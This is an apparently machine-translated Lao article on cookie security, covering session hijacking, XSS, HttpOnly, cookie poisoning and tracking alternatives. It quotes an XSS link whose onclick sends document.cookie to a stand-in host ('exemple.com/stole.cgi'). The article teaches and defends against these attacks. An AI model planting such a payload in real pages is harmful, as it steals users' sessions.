ຄຸກກີສາມາດຖືກລັກໂດຍຄອມພິວເຕີອື່ນໃນເຄືອຂ່າຍ.

ໃນລະຫວ່າງການປະຕິບັດງານປົກກະຕິ, cookies ຈະຖືກສົ່ງຄືນລະຫວ່າງເຄື່ອງແມ່ຂ່າຍ (ຫຼືກຸ່ມຂອງເຄື່ອງແມ່ຂ່າຍໃນໂດເມນດຽວກັນ) ແລະຕົວທ່ອງເວັບຂອງຄອມພິວເຕີຂອງຜູ້ໃຊ້. ເນື່ອງຈາກ cookies ສາມາດມີຂໍ້ມູນທີ່ລະອຽດອ່ອນ (ຊື່ຜູ້ໃຊ້, ລະຫັດຜ່ານທີ່ໃຊ້ສໍາລັບການພິສູດຢືນຢັນ, ແລະອື່ນໆ), ມູນຄ່າຂອງພວກມັນບໍ່ຄວນຈະເຂົ້າເຖິງຄອມພິວເຕີອື່ນໆ. ການລັກຄຸກກີແມ່ນເປັນການຂັດຂວາງຄຸກກີໂດຍພາກສ່ວນທີສາມທີ່ບໍ່ໄດ້ຮັບອະນຸຍາດ.

Cookies ສາມາດຖືກລັກຜ່ານ packet sniffer ໃນການໂຈມຕີທີ່ເອີ້ນວ່າ session hijacking. ການຈະລາຈອນໃນເນັດສາມາດຖືກສະກັດແລະອ່ານໂດຍຄອມພິວເຕີນອກເຫນືອຈາກການສົ່ງແລະຮັບ (ໂດຍສະເພາະໃນພື້ນທີ່ Wi-Fi ສາທາລະນະທີ່ບໍ່ໄດ້ເຂົ້າລະຫັດ). ການຈະລາຈອນນີ້ລວມມີຄຸກກີທີ່ສົ່ງຜ່ານເຊດຊັນໂດຍໃຊ້ໂປໂຕຄອນ HTTP ທຳມະດາ. ເມື່ອການຈະລາຈອນເຄືອຂ່າຍບໍ່ໄດ້ຖືກເຂົ້າລະຫັດ, ຜູ້ໃຊ້ທີ່ເປັນອັນຕະລາຍສາມາດອ່ານການສື່ສານຂອງຜູ້ໃຊ້ອື່ນໆໃນເຄືອຂ່າຍໂດຍໃຊ້ "packet sniffers".

ບັນຫານີ້ສາມາດແກ້ໄຂໄດ້ໂດຍການເຂົ້າລະຫັດການເຊື່ອມຕໍ່ລະຫວ່າງຄອມພິວເຕີຂອງຜູ້ໃຊ້ແລະເຄື່ອງແມ່ຂ່າຍໂດຍໃຊ້ HTTPS protocol. ເຊີບເວີສາມາດລະບຸ a ທຸງທີ່ປອດໄພ ໃນຂະນະທີ່ຕັ້ງຄຸກກີ; ຕົວທ່ອງເວັບຈະສົ່ງມັນຜ່ານສາຍທີ່ປອດໄພເທົ່ານັ້ນ, ເຊັ່ນການເຊື່ອມຕໍ່ SSL.

ຢ່າງໃດກໍຕາມ, ສະຖານທີ່ຈໍານວນຫຼາຍ, ເຖິງແມ່ນວ່າການນໍາໃຊ້ການສື່ສານເຂົ້າລະຫັດ HTTPS ສໍາລັບການກວດສອບຜູ້ໃຊ້ (i. e. ຫນ້າເຂົ້າສູ່ລະບົບ), ຕໍ່ມາສົ່ງ cookies session ແລະຂໍ້ມູນອື່ນໆຕາມປົກກະຕິ, ໂດຍຜ່ານການເຊື່ອມຕໍ່ HTTP ບໍ່ໄດ້ເຂົ້າລະຫັດສໍາລັບເຫດຜົນປະສິດທິພາບ. ດັ່ງນັ້ນຜູ້ໂຈມຕີສາມາດຂັດຂວາງ cookies ຂອງຜູ້ໃຊ້ອື່ນແລະປອມຕົວມັນຢູ່ໃນເວັບໄຊທ໌ທີ່ເຫມາະສົມຫຼືນໍາໃຊ້ພວກມັນໃນການໂຈມຕີຄຸກກີ.

ການຂຽນສະຄິບໃນເວັບໄຊທ໌: ຄຸກກີທີ່ຄວນຈະຖືກແລກປ່ຽນລະຫວ່າງເຄື່ອງແມ່ຂ່າຍແລະລູກຄ້າເທົ່ານັ້ນຖືກສົ່ງໄປຫາພາກສ່ວນທີສາມອື່ນ.

ອີກວິທີໜຶ່ງທີ່ຈະລັກ cookies ແມ່ນການສະຄຣິບເວັບໄຊ ແລະໃຫ້ browser ຕົວຂອງມັນເອງສົ່ງ cookies ໄປຫາເຄື່ອງແມ່ຂ່າຍທີ່ເປັນອັນຕະລາຍທີ່ບໍ່ເຄີຍໄດ້ຮັບພວກມັນ. ຕົວທ່ອງເວັບທີ່ທັນສະໄຫມອະນຸຍາດໃຫ້ປະຕິບັດພາກສ່ວນທີ່ຊອກຫາຫຼັງຈາກລະຫັດຈາກເຄື່ອງແມ່ຂ່າຍ. ຖ້າ cookies ຖືກເຂົ້າເຖິງໃນລະຫວ່າງການແລ່ນ, ຄ່າຂອງພວກມັນອາດຈະຖືກສື່ສານໃນບາງຮູບແບບກັບເຄື່ອງແມ່ຂ່າຍທີ່ບໍ່ຄວນເຂົ້າເຖິງພວກມັນ. ການເຂົ້າລະຫັດຄຸກກີກ່ອນທີ່ພວກມັນຈະຖືກສົ່ງຜ່ານເຄືອຂ່າຍບໍ່ໄດ້ຊ່ວຍຂັດຂວາງການໂຈມຕີ.

ປະເພດຂອງການສະຄຣິບໃນເວັບໄຊນີ້ໂດຍທົ່ວໄປແລ້ວແມ່ນໃຊ້ໂດຍຜູ້ໂຈມຕີຢູ່ໃນເວັບໄຊທີ່ອະນຸຍາດໃຫ້ຜູ້ໃຊ້ສາມາດປະກາດເນື້ອຫາ HTML. ໂດຍການລວມເອົາສ່ວນຫນຶ່ງຂອງລະຫັດທີ່ເຂົ້າກັນໄດ້ໃນການປະກອບສ່ວນ HTML, ຜູ້ໂຈມຕີສາມາດໄດ້ຮັບ cookies ຈາກຜູ້ໃຊ້ອື່ນໆ. ຄວາມຮູ້ກ່ຽວກັບ cookies ເຫຼົ່ານີ້ສາມາດນໍາໃຊ້ໄດ້ໂດຍການເຊື່ອມຕໍ່ກັບເວັບໄຊທ໌ດຽວກັນໂດຍໃຊ້ cookies ຖືກລັກ, ດັ່ງນັ້ນຈຶ່ງຖືກຮັບຮູ້ວ່າເປັນຜູ້ໃຊ້ທີ່ cookies ຖືກລັກ.

ວິທີຫນຶ່ງເພື່ອປ້ອງກັນການໂຈມຕີດັ່ງກ່າວແມ່ນການໃຊ້ທຸງ HttpOnly; ມັນເປັນທາງເລືອກ, ແນະນໍາຕັ້ງແຕ່ຮຸ່ນ 6 ຂອງ Internet Explorer ໃນ PHP ຕັ້ງແຕ່ຮຸ່ນ 5.2.0 ເຊິ່ງຖືກວາງແຜນທີ່ຈະເຮັດໃຫ້ cookie ບໍ່ສາມາດເຂົ້າເຖິງລູກຄ້າໄດ້ໃກ້ຊິດກັບສະຄິບ. ຢ່າງໃດກໍ່ຕາມ, ຜູ້ພັດທະນາເວັບຄວນຄໍານຶງເຖິງເລື່ອງນີ້ໃນການພັດທະນາເວັບໄຊທ໌ຂອງພວກເຂົາເພື່ອໃຫ້ພວກເຂົາມີພູມຕ້ານທານກັບ scripting ຢູ່ໃນເວັບໄຊທ໌.

ໄພຂົ່ມຂູ່ດ້ານຄວາມປອດໄພອີກອັນໜຶ່ງທີ່ໃຊ້ແມ່ນການສ້າງຄວາມຕ້ອງການໃນເວັບໄຊ.

ຂໍ້ມູນສະເພາະທາງດ້ານເຕັກນິກທີ່ເປັນທາງການອະນຸຍາດໃຫ້ cookies ຖືກສົ່ງໄປຫາເຄື່ອງແມ່ຂ່າຍໃນໂດເມນທີ່ມາຈາກພວກມັນເທົ່ານັ້ນ. ຢ່າງໃດກໍ່ຕາມ, ມູນຄ່າຂອງ cookies ສາມາດຖືກສົ່ງໄປຫາເຄື່ອງແມ່ຂ່າຍອື່ນໂດຍໃຊ້ວິທີອື່ນນອກເຫນືອຈາກຫົວຄຸກກີ.

ໂດຍສະເພາະ, ພາສາ scripting ເຊັ່ນ JavaScript ໂດຍທົ່ວໄປແມ່ນອະນຸຍາດໃຫ້ເຂົ້າເຖິງຄ່າ cookie ແລະມີຄວາມສາມາດໃນການສົ່ງຄ່າ arbitrary ກັບເຄື່ອງແມ່ຂ່າຍໃດໆໃນອິນເຕີເນັດ. ຄວາມສາມາດໃນການຂຽນສະຄິບນີ້ຖືກນໍາໃຊ້ຈາກເວັບໄຊທ໌ທີ່ໃຫ້ຜູ້ໃຊ້ສາມາດປະກາດເນື້ອຫາ HTML ສໍາລັບຜູ້ໃຊ້ອື່ນໆເບິ່ງ.

ຕົວຢ່າງ, ຜູ້ໂຈມຕີທີ່ດໍາເນີນການຢູ່ໃນໂດເມນ example.com ອາດຈະສະແດງຄວາມຄິດເຫັນທີ່ມີລິ້ງຕໍ່ໄປນີ້ຊີ້ໄປຫາບລັອກຍອດນິຍົມທີ່ເຂົາເຈົ້າບໍ່ຄວບຄຸມ:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

ເມື່ອຜູ້ໃຊ້ອື່ນຄລິກໃສ່ການເຊື່ອມຕໍ່ນີ້, ຕົວທ່ອງເວັບປະຕິບັດສ່ວນ onclick attribute ຂອງລະຫັດ, ດັ່ງນັ້ນມັນປ່ຽນແທນສະຕຣິງ document.cookie ດ້ວຍບັນຊີລາຍຊື່ຂອງ cookies ຜູ້ໃຊ້ທີ່ມີການເຄື່ອນໄຫວສໍາລັບຫນ້ານີ້. ດັ່ງນັ້ນ, ບັນຊີລາຍຊື່ຂອງ cookies ນີ້ຖືກສົ່ງໄປຫາເຄື່ອງແມ່ຂ່າຍຂອງ example.com, ແລະຜູ້ໂຈມຕີຈຶ່ງສາມາດເກັບກໍາ cookies ຂອງຜູ້ໃຊ້ນີ້ໄດ້.

ປະເພດຂອງການໂຈມຕີນີ້ແມ່ນຍາກທີ່ຈະກວດພົບໃນດ້ານຜູ້ໃຊ້ເພາະວ່າ script ມາຈາກໂດເມນດຽວກັນທີ່ກໍານົດ cookie, ແລະການດໍາເນີນງານເພື່ອສົ່ງຄ່າທີ່ປາກົດວ່າໄດ້ຮັບການອະນຸຍາດຈາກໂດເມນນັ້ນ. ມັນໄດ້ຖືກພິຈາລະນາວ່າມັນເປັນຄວາມຮັບຜິດຊອບຂອງຜູ້ບໍລິຫານທີ່ດໍາເນີນການປະເພດຂອງເວັບໄຊທ໌ນີ້ທີ່ຈະວາງຂໍ້ຈໍາກັດປ້ອງກັນການພິມເຜີຍແຜ່ລະຫັດອັນຕະລາຍ.

ຄຸກກີຈະບໍ່ເຫັນໄດ້ໂດຍກົງຕໍ່ກັບໂປຣແກຣມຝ່າຍລູກຄ້າເຊັ່ນ JavaScript ຖ້າພວກມັນຖືກສົ່ງດ້ວຍທຸງ HttpOnly. ຈາກທັດສະນະຂອງເຄື່ອງແມ່ຂ່າຍ, ຄວາມແຕກຕ່າງພຽງແຕ່ວ່າຢູ່ໃນເສັ້ນຂອງຫົວ Set-Cookie ມີການເພີ່ມຊ່ອງຂໍ້ມູນໃຫມ່ທີ່ມີສາຍ HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

ເມື່ອຕົວທ່ອງເວັບໄດ້ຮັບ cookies ດັ່ງກ່າວ, ມັນຄວນຈະໃຊ້ມັນຕາມປົກກະຕິໃນການແລກປ່ຽນ HTTP ຕໍ່ໄປນີ້, ແຕ່ໂດຍບໍ່ມີການເຮັດໃຫ້ມັນສັງເກດເຫັນກັບ scripts ທີ່ຖືກປະຕິບັດຢູ່ໃນຝ່າຍລູກຄ້າ. ທຸງ HttpOnly ບໍ່ແມ່ນສ່ວນໜຶ່ງຂອງຂໍ້ມູນສະເພາະທາງດ້ານວິຊາການໃດໆກໍຕາມ, ແລະບໍ່ໄດ້ນຳໃຊ້ໃນທຸກຕົວທ່ອງເວັບ. ໃຫ້ສັງເກດວ່າໃນປັດຈຸບັນບໍ່ມີວິທີທີ່ຈະປ້ອງກັນການອ່ານແລະການຂຽນ cookies ຂອງ session ໂດຍວິທີການ XMLHTTPRequest.

ການແກ້ໄຂເນື້ອຫາ: ຜູ້ໂຈມຕີສົ່ງຄຸກກີທີ່ບໍ່ຖືກຕ້ອງໄປຫາເຊີບເວີ, ອາດຈະເຮັດມາຈາກຄຸກກີທີ່ຖືກຕ້ອງທີ່ເຊີບເວີສົ່ງ.

ການປ່ຽນແປງ cookies

ທັນທີທີ່ cookies ຕ້ອງໄດ້ຮັບການເກັບຮັກສາແລະສົ່ງຄືນບໍ່ປ່ຽນແປງກັບເຄື່ອງແມ່ຂ່າຍ, ຜູ້ໂຈມຕີສາມາດດັດແປງມູນຄ່າຂອງ cookies ກ່ອນທີ່ມັນຈະຖືກສົ່ງໄປຫາເຄື່ອງແມ່ຂ່າຍ. ຕົວຢ່າງ, ຖ້າຄຸກກີມີມູນຄ່າລວມທີ່ຜູ້ໃຊ້ຕ້ອງຈ່າຍສໍາລັບລາຍການທີ່ວາງໄວ້ໃນກະຕ່າຊື້ເຄື່ອງຂອງຮ້ານ, ການປ່ຽນແປງມູນຄ່ານີ້ເຮັດໃຫ້ເຄື່ອງແມ່ຂ່າຍມີຄວາມສ່ຽງຕໍ່ການຄິດຄ່າບໍລິການຂອງຜູ້ໂຈມຕີຫນ້ອຍກວ່າລາຄາເລີ່ມຕົ້ນ. ຂະບວນການດັດແກ້ມູນຄ່າຂອງ cookies ຖືກເອີ້ນວ່າ ພິດຄຸກກີ ແລະສາມາດຖືກນໍາໃຊ້ຫຼັງຈາກການລັກຄຸກກີເພື່ອເຮັດໃຫ້ການໂຈມຕີຢ່າງຕໍ່ເນື່ອງ.

ໃນວິທີການ override ຄຸກກີ, ຜູ້ໂຈມຕີໃຊ້ຄວາມຜິດປົກກະຕິຂອງຕົວທ່ອງເວັບເພື່ອສົ່ງ cookie ທີ່ບໍ່ຖືກຕ້ອງໄປຫາເຄື່ອງແມ່ຂ່າຍ.

ເວັບໄຊທ໌ສ່ວນໃຫຍ່, ຢ່າງໃດກໍຕາມ, ພຽງແຕ່ເກັບຮັກສາ ID ເຊດຊັນ - ຕົວເລກທີ່ເປັນເອກະລັກທີ່ສ້າງຂຶ້ນແບບສຸ່ມທີ່ໃຊ້ເພື່ອກໍານົດຜູ້ໃຊ້ຂອງເຊດຊັນ - ໃນຄຸກກີຕົວມັນເອງ, ໃນຂະນະທີ່ຂໍ້ມູນອື່ນໆທັງຫມົດຖືກເກັບໄວ້ໃນເຄື່ອງແມ່ຂ່າຍ. ໃນກໍລະນີນີ້, ບັນຫານີ້ແມ່ນໄດ້ຮັບການແກ້ໄຂສ່ວນໃຫຍ່.

ການຈັດການຄຸກກີລະຫວ່າງເວັບໄຊທ໌

ແຕ່ລະເວັບໄຊທ໌ຄາດວ່າຈະມີ cookies ຂອງຕົນເອງ, ດັ່ງນັ້ນເວັບໄຊທ໌ຫນຶ່ງບໍ່ຄວນດັດແປງຫຼືສ້າງ cookies ທີ່ກ່ຽວຂ້ອງກັບເວັບໄຊທ໌ອື່ນ. ຂໍ້ບົກຜ່ອງດ້ານຄວາມປອດໄພຂອງຕົວທ່ອງເວັບສາມາດອະນຸຍາດໃຫ້ເວັບໄຊທ໌ທີ່ເປັນອັນຕະລາຍທໍາລາຍກົດລະບຽບນີ້. ການຂູດຮີດຂອງຂໍ້ບົກພ່ອງດັ່ງກ່າວຖືກເອີ້ນໂດຍທົ່ວໄປວ່າ ການປຸງອາຫານຂ້າມສະຖານທີ່. ຈຸດປະສົງຂອງການໂຈມຕີດັ່ງກ່າວອາດຈະເປັນການລັກ ID ເຊດຊັນ.

ຜູ້​ໃຊ້​ຄວນ​ຈະ​ໃຊ້​ຕົວ​ທ່ອງ​ເວັບ​ເວີ​ຊັນ​ຫຼ້າ​ສຸດ​ທີ່​ຊ່ອງ​ໂຫວ່​ເຫຼົ່າ​ນີ້​ຖືກ​ກຳ​ຈັດ​ອອກ.

ສະຖານະຂັດແຍ້ງລະຫວ່າງລູກຄ້າ ແລະເຊີບເວີ

ການນໍາໃຊ້ cookies ອາດຈະເຮັດໃຫ້ເກີດຄວາມຂັດແຍ້ງລະຫວ່າງລັດຂອງລູກຄ້າແລະລັດທີ່ເກັບໄວ້ໃນ cookie. ຖ້າຜູ້ໃຊ້ໄດ້ມາຄຸກກີແລະຄລິກໃສ່ປຸ່ມ "ກັບຄືນ" ຂອງຕົວທ່ອງເວັບ, ສະພາບຂອງຕົວທ່ອງເວັບໂດຍທົ່ວໄປແມ່ນບໍ່ຄືກັນກັບກ່ອນການຊື້ນີ້. ຕົວຢ່າງ, ຖ້າກະຕ່າຂອງຮ້ານອອນໄລນ໌ຖືກສ້າງຂື້ນໂດຍໃຊ້ cookies, ເນື້ອໃນຂອງກະຕ່າບໍ່ສາມາດປ່ຽນແປງໄດ້ເມື່ອຜູ້ໃຊ້ກັບຄືນໄປຫາປະຫວັດຂອງຕົວທ່ອງເວັບ: ຖ້າຜູ້ໃຊ້ກົດປຸ່ມເພື່ອເພີ່ມບົດຄວາມໃນກະຕ່າຂອງລາວແລະຄລິກໃສ່ "ກັບຄືນ. " ປຸ່ມ, ບົດຄວາມຍັງຄົງຢູ່ໃນອັນນີ້. ນີ້ອາດຈະບໍ່ແມ່ນຄວາມຕັ້ງໃຈຂອງຜູ້ໃຊ້, ຜູ້ທີ່ແນ່ນອນວ່າຕ້ອງການຍົກເລີກການເພີ່ມບົດຄວາມ. ນີ້ສາມາດນໍາໄປສູ່ຄວາມບໍ່ຫນ້າເຊື່ອຖື, ສັບສົນ, ແລະແມງໄມ້. ດັ່ງນັ້ນຜູ້ພັດທະນາເວັບຄວນຮູ້ເຖິງບັນຫານີ້ແລະປະຕິບັດມາດຕະການເພື່ອຈັດການກັບສະຖານະການເຊັ່ນນີ້.

ຄຸກກີໝົດອາຍຸ

ຄຸກກີທີ່ຍັງຄົງຄ້າງໄດ້ຖືກວິພາກວິຈານໂດຍຜູ້ຊ່ຽວຊານດ້ານຄວາມປອດໄພດ້ານຄວາມເປັນສ່ວນຕົວວ່າບໍ່ໄດ້ກໍານົດເວລາທີ່ຈະຫມົດອາຍຸໃນໄວໆນີ້, ດັ່ງນັ້ນຈຶ່ງເຮັດໃຫ້ເວັບໄຊທ໌ສາມາດຕິດຕາມຜູ້ໃຊ້ແລະສ້າງໂປຣໄຟລ໌ຂອງເຂົາເຈົ້າໃນໄລຍະເວລາ. ລັກສະນະຂອງຄຸກກີ້ນີ້ຍັງເປັນສ່ວນໜຶ່ງຂອງບັນຫາການລັກລອບຂອງເຊສຊັນ, ເພາະວ່າຄຸກກີ້ທີ່ຍັງຄົງຄ້າງຖືກລັກສາມາດຖືກໃຊ້ເພື່ອປອມຕົວຜູ້ໃຊ້ເປັນໄລຍະເວລາຫຼາຍ.

ເພື່ອອ່ານຍັງ: GAFAM: ພວກເຂົາແມ່ນໃຜ? ເປັນຫຍັງພວກເຂົາ (ບາງຄັ້ງ) ຈຶ່ງເປັນຕາຢ້ານ?

ທາງເລືອກໃນການຄຸກກີ

ການປະຕິບັດບາງຢ່າງທີ່ສາມາດເຮັດໄດ້ໂດຍໃຊ້ cookies ຍັງສາມາດປະຕິບັດໄດ້ໂດຍໃຊ້ກົນໄກອື່ນໆທີ່ bypass cookies ຫຼືສ້າງ cookies ທີ່ຖືກລົບຄືນໃຫມ່, ເຊິ່ງສ້າງບັນຫາຄວາມເປັນສ່ວນຕົວໃນລັກສະນະດຽວກັນ (ຫຼືບາງຄັ້ງກໍ່ຮ້າຍແຮງກວ່າເກົ່າເພາະວ່າເບິ່ງບໍ່ເຫັນ) ກວ່າ cookies.

ຜູ້ຮັກສາ IP

ຜູ້ໃຊ້ສາມາດຖືກຕິດຕາມດ້ວຍທີ່ຢູ່ IP ຂອງຄອມພິວເຕີໂທຫາຫນ້າ. ເຕັກນິກນີ້ສາມາດໃຊ້ໄດ້ນັບຕັ້ງແຕ່ການນໍາສະເຫນີຂອງ World Wide Web, ຍ້ອນວ່າຫນ້າເວັບຕ່າງໆຖືກດາວໂຫຼດ, ເຄື່ອງແມ່ຂ່າຍຮ້ອງຂໍທີ່ຢູ່ IP ຂອງຄອມພິວເຕີທີ່ໃຊ້ຕົວທ່ອງເວັບຫຼືຕົວແທນ, ຖ້າບໍ່ມີການນໍາໃຊ້. ເຊີບເວີສາມາດຕິດຕາມຂໍ້ມູນນີ້ໄດ້ບໍ່ວ່າມີຄຸກກີ້ທີ່ໃຊ້ຢູ່ຫຼືບໍ່. ຢ່າງໃດກໍຕາມ, ທີ່ຢູ່ເຫຼົ່ານີ້ໂດຍທົ່ວໄປແມ່ນມີຄວາມຫນ້າເຊື່ອຖືຫນ້ອຍໃນການກໍານົດຜູ້ໃຊ້ຫຼາຍກ່ວາ cookies ເພາະວ່າຄອມພິວເຕີແລະຕົວແທນອາດຈະຖືກແບ່ງປັນໂດຍຜູ້ໃຊ້ຫຼາຍຄົນ, ແລະຄອມພິວເຕີດຽວກັນອາດຈະໄດ້ຮັບທີ່ຢູ່ IP ທີ່ແຕກຕ່າງກັນໃນແຕ່ລະກອງປະຊຸມການເຮັດວຽກ (ເຊັ່ນ: c ເລື້ອຍໆກໍລະນີສໍາລັບການເຊື່ອມຕໍ່ໂທລະສັບ). .

ການຕິດຕາມໂດຍທີ່ຢູ່ IP ສາມາດເຊື່ອຖືໄດ້ໃນບາງສະຖານະການ, ເຊັ່ນ: ການເຊື່ອມຕໍ່ບໍລະອົດແບນທີ່ຮັກສາທີ່ຢູ່ IP ດຽວກັນເປັນເວລາດົນ, ຕາບໃດທີ່ເປີດຢູ່.

ບາງລະບົບເຊັ່ນ Tor ຖືກອອກແບບມາເພື່ອຮັກສາການປິດບັງຊື່ຂອງອິນເຕີເນັດແລະເຮັດໃຫ້ການຕິດຕາມທີ່ຢູ່ IP ເປັນໄປບໍ່ໄດ້ ຫຼືໃຊ້ບໍ່ໄດ້ຜົນ.

URL

ເຕັກນິກທີ່ຊັດເຈນກວ່າແມ່ນອີງໃສ່ການຝັງຂໍ້ມູນໃນ URLs. ພາກສ່ວນການສອບຖາມຂອງ URL ແມ່ນເຕັກນິກຫນຶ່ງທີ່ຖືກນໍາໃຊ້ເພື່ອຈຸດປະສົງນີ້, ແຕ່ພາກສ່ວນອື່ນໆສາມາດຖືກນໍາໃຊ້ເຊັ່ນດຽວກັນ. ທັງ Java serverlet ແລະກົນໄກຂອງເຊດຊັນ PHP ໃຊ້ວິທີນີ້ຖ້າ cookies ບໍ່ຖືກເປີດໃຊ້.

ວິທີນີ້ກ່ຽວຂ້ອງກັບເຊີບເວີເວັບທີ່ເພີ່ມການຮ້ອງຂໍສະຕຣິງໃສ່ລິ້ງຂອງໜ້າເວັບທີ່ນຳມັນໄປເມື່ອມັນຖືກສົ່ງໄປຫາຕົວທ່ອງເວັບ. ເມື່ອຜູ້ໃຊ້ຕິດຕາມການເຊື່ອມຕໍ່, ຕົວທ່ອງເວັບຈະສົ່ງຄືນສາຍຄິວຣີທີ່ຕິດຄັດມາກັບເຄື່ອງແມ່ຂ່າຍ.

ສະຕຣິງແບບສອບຖາມທີ່ໃຊ້ເພື່ອຈຸດປະສົງນີ້ ແລະຄຸກກີ້ແມ່ນຄ້າຍຄືກັນຫຼາຍ, ທັງເປັນຂໍ້ມູນທີ່ຖືກເລືອກໂດຍເຊີບເວີ ແລະສົ່ງຄືນໂດຍຕົວທ່ອງເວັບ. ຢ່າງໃດກໍ່ຕາມ, ມີຄວາມແຕກຕ່າງບາງຢ່າງ: ເມື່ອ URL ທີ່ມີສາຍແບບສອບຖາມຖືກນໍາມາໃຊ້ໃຫມ່, ຂໍ້ມູນດຽວກັນຈະຖືກສົ່ງໄປຫາເຄື່ອງແມ່ຂ່າຍ. ຕົວຢ່າງ, ຖ້າຄວາມມັກຂອງຜູ້ໃຊ້ຖືກເຂົ້າລະຫັດໃນສາຍແບບສອບຖາມຂອງ URL ແລະຜູ້ໃຊ້ສົ່ງ URL ນັ້ນໄປຫາຜູ້ໃຊ້ອື່ນຜ່ານທາງອີເມວ, ຜູ້ໃຊ້ນັ້ນກໍ່ຈະສາມາດໃຊ້ການຕັ້ງຄ່າເຫຼົ່ານັ້ນໄດ້.

ໃນທາງກົງກັນຂ້າມ, ເມື່ອຜູ້ໃຊ້ເຂົ້າເຖິງຫນ້າດຽວກັນສອງຄັ້ງ, ບໍ່ມີການຮັບປະກັນວ່າສາຍແບບສອບຖາມດຽວກັນຈະຖືກນໍາໃຊ້ທັງສອງຄັ້ງ. ຕົວຢ່າງ: ຖ້າຜູ້ໃຊ້ລົງໃນຫນ້າຈາກຫນ້າເວັບໄຊທ໌ພາຍໃນຄັ້ງທໍາອິດແລະລົງໃນຫນ້າດຽວກັນຈາກຫນ້າພາຍນອກໃນເທື່ອທີສອງ, string query ທີ່ກ່ຽວຂ້ອງກັບຫນ້າເວັບໄຊທ໌ແມ່ນແຕກຕ່າງກັນ, ໃນຂະນະທີ່ cookies ຄືກັນ. .

ຂໍ້ເສຍອື່ນໆຂອງ query strings ແມ່ນກ່ຽວຂ້ອງກັບຄວາມປອດໄພ: ການຮັກສາຂໍ້ມູນທີ່ກໍານົດ session ໃນ query strings ເປີດໃຊ້ຫຼືເຮັດໃຫ້ Session fixation attacks ງ່າຍ, ການໂຈມຕີອ້າງອີງຕົວລະບຸ, ແລະການຂຸດຄົ້ນອື່ນໆ. ການຖ່າຍທອດ ID ເຊດຊັນເປັນ HTTP cookies ແມ່ນປອດໄພກວ່າ.

ຊ່ອງຂໍ້ມູນແບບຟອມທີ່ເຊື່ອງໄວ້

ຮູບແບບການຕິດຕາມກອງປະຊຸມ, ນໍາໃຊ້ໂດຍ ASP.NET, ແມ່ນການນໍາໃຊ້ແບບຟອມເວັບທີ່ມີຊ່ອງຫວ່າງທີ່ເຊື່ອງໄວ້. ເທກນິກນີ້ແມ່ນຄ້າຍຄືກັນກັບການນໍາໃຊ້ສາຍແບບສອບຖາມ URL ເພື່ອປະຕິບັດຂໍ້ມູນແລະມີຂໍ້ດີແລະຂໍ້ເສຍຄືກັນ; ແລະຖ້າແບບຟອມຖືກປຸງແຕ່ງດ້ວຍວິທີການ HTTP GET, ພາກສະຫນາມຕົວຈິງກາຍເປັນສ່ວນຫນຶ່ງຂອງ URL ຂອງຕົວທ່ອງເວັບທີ່ຈະສົ່ງມັນເມື່ອສົ່ງແບບຟອມ. ແຕ່ແບບຟອມສ່ວນໃຫຍ່ຖືກປຸງແຕ່ງດ້ວຍ HTTP POST, ເຊິ່ງເຮັດໃຫ້ຂໍ້ມູນແບບຟອມ, ລວມທັງຊ່ອງຫວ່າງທີ່ເຊື່ອງໄວ້, ຈະຖືກເພີ່ມເປັນວັດສະດຸປ້ອນເພີ່ມເຕີມທີ່ບໍ່ແມ່ນສ່ວນຂອງ URL ຫຼື cookie.

ວິທີການນີ້ມີຂໍ້ດີສອງຢ່າງຈາກທັດສະນະການຕິດຕາມ: ທໍາອິດ, ການຕິດຕາມຂໍ້ມູນທີ່ວາງໄວ້ໃນລະຫັດແຫຼ່ງ HTML ແລະການປ້ອນຂໍ້ມູນ POST ຫຼາຍກວ່າ URL ຈະຊ່ວຍໃຫ້ຜູ້ໃຊ້ສະເລ່ຍຫລີກລ້ຽງການຕິດຕາມນີ້; ອັນທີສອງ, ຂໍ້ມູນເຊດຊັນບໍ່ໄດ້ຖືກຄັດລອກເມື່ອຜູ້ໃຊ້ຄັດລອກ URL (ເພື່ອບັນທຶກຫນ້າໃສ່ແຜ່ນຫຼືສົ່ງຜ່ານອີເມວ, ຕົວຢ່າງ).

window.name

ຕົວທ່ອງເວັບທົ່ວໄປທັງຫມົດສາມາດເກັບຂໍ້ມູນຈໍານວນຫຼວງຫຼາຍ (2MB ຫາ 32MB) ຜ່ານ JavaScript ໂດຍໃຊ້ຄຸນສົມບັດ window.name ຂອງ DOM. ຂໍ້ມູນນີ້ສາມາດຖືກນໍາໃຊ້ແທນ cookies ຂອງ session ແລະຍັງຖືກນໍາໃຊ້ໃນທົ່ວໂດເມນ. ເຕັກນິກດັ່ງກ່າວສາມາດຖືກລວມເຂົ້າກັບວັດຖຸ JSON ເພື່ອເກັບຮັກສາຊຸດທີ່ຊັບຊ້ອນຂອງຕົວແປຂອງເຊດຊັນຂ້າງລູກຄ້າ.

downside ແມ່ນວ່າແຕ່ລະປ່ອງຢ້ຽມແຍກຕ່າງຫາກຫຼືແຖບໃນເບື້ອງຕົ້ນຈະມີ window.name ຫວ່າງເປົ່າ; ເມື່ອຊອກຫາໂດຍແຖບ (ເປີດໂດຍຜູ້ໃຊ້) ນີ້ຫມາຍຄວາມວ່າແຖບທີ່ເປີດເປັນສ່ວນບຸກຄົນຈະບໍ່ມີຊື່ປ່ອງຢ້ຽມ. ນອກຈາກນັ້ນ, window.name ສາມາດຖືກໃຊ້ເພື່ອຕິດຕາມຜູ້ເຂົ້າຊົມທົ່ວເວັບໄຊທ໌ຕ່າງໆເຊິ່ງສາມາດເຮັດໃຫ້ເກີດບັນຫາຄວາມເປັນສ່ວນຕົວ.

ໃນບາງດ້ານ, ນີ້ສາມາດມີຄວາມປອດໄພຫຼາຍກ່ວາ cookies, ເນື່ອງຈາກການບໍ່ມີສ່ວນຮ່ວມຂອງເຄື່ອງແມ່ຂ່າຍ, ດັ່ງນັ້ນຈຶ່ງເຮັດໃຫ້ມັນ invulnerable ກັບການໂຈມຕີເຄືອຂ່າຍຂອງ cookies sniffer. ຢ່າງໃດກໍ່ຕາມ, ຖ້າມີມາດຕະການພິເສດເພື່ອປົກປ້ອງຂໍ້ມູນ, ມັນມີຄວາມສ່ຽງຕໍ່ການໂຈມຕີຕື່ມອີກ, ເພາະວ່າຂໍ້ມູນແມ່ນມີຢູ່ຜ່ານເວັບໄຊທ໌ອື່ນໆທີ່ເປີດຢູ່ໃນປ່ອງຢ້ຽມດຽວກັນ.

ການຢືນຢັນ HTTP

